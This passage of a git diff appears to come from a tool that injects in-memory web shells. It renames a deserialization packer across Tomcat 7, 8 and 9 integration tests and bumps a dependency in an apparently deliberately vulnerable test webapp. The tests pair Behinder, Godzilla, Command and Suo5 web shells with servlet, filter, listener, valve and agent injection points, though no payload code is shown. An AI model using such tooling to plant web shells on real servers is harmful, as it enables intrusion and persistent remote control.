arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index 7ca6811e..81cebc2c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -43,37 +43,37 @@ public class Tomcat7ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index cb4453d3..d5969e9b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -44,52 +44,52 @@ public class Tomcat8ContainerTest { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index b59b234a..8228c39d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -42,37 +42,37 @@ public class Tomcat9ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/vul/vul-webapp/build.gradle b/vul/vul-webapp/build.gradle index 5ab2b838..8fdc8b1c 100644 --- a/vul/vul-webapp/build.gradle +++ b/vul/vul-webapp/build.gradle @@ -15,6 +15,6 @@ java { dependencies { implementation 'commons-fileupload:commons-fileupload:1.3.3' - implementation 'commons-beanutils:commons-beanutils:1.9.3' + implementation 'commons-beanutils:commons-beanutils:1.9.4' providedCompile "javax.servlet:servlet-api:2.5" }